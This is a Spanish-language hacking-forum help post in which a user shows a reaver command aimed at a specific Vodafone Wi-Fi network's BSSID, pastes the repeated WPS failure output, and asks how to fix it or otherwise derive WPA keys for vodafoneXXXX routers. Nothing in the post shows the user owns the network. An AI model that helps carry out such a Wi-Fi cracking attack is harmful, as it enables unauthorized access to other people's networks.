[AYUDA] Crackear red WPA

Hola gente de elhacker, bueno pues despues de varios intentos finalmente no conseguí abrir la red, me explico mejor, uso reaver 1.4 y estuve probando con el siguiente comando: reaver -i mon0 -b (bssid) -c (canal) -vv ya puse modo monitor y todo eso, y el terminal me lanza esto:

Código:

root@zulema:/home/zulema# reaver -i mon0 -b 62:23:3D:6F:20:18 -c 11 -e vodafone201A -d 15 -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching mon0 to channel 11
[+] Waiting for beacon from 62:23:3D:6F:20:18
[+] Associated with 62:23:3D:6F:20:18 (ESSID: vodafone201A)
[+] Trying pin 12345670
[!] WARNING: Failed to associate with 62:23:3D:6F:20:18 (ESSID: vodafone201A)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670
[!] WARNING: Failed to associate with 62:23:3D:6F:20:18 (ESSID: vodafone201A)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 12345670
[!] WARNING: Failed to associate with 62:23:3D:6F:20:18 (ESSID: vodafone201A)
[!] WARNING: Failed to associate with 62:23:3D:6F:20:18 (ESSID: vodafone201A)
[!] WARNING: Failed to associate with 62:23:3D:6F:20:18 (ESSID: vodafone201A)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Nothing done, nothing to save.
[+] 0.00% complete @ 2015-03-22 17:01:37 (0 seconds/pin)
[+] Trying pin 12345670
[!] WARNING: Failed to associate with 62:23:3D:6F:20:18 (ESSID: vodafone201A)
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin

Diganme que estoy haciendo mal o que... Si no también diganme otras formas de calcular claves WPA con vodafoneXXXX (si alguien lo sabe). Estoy usando Ubuntu 14.04. Gracias por leer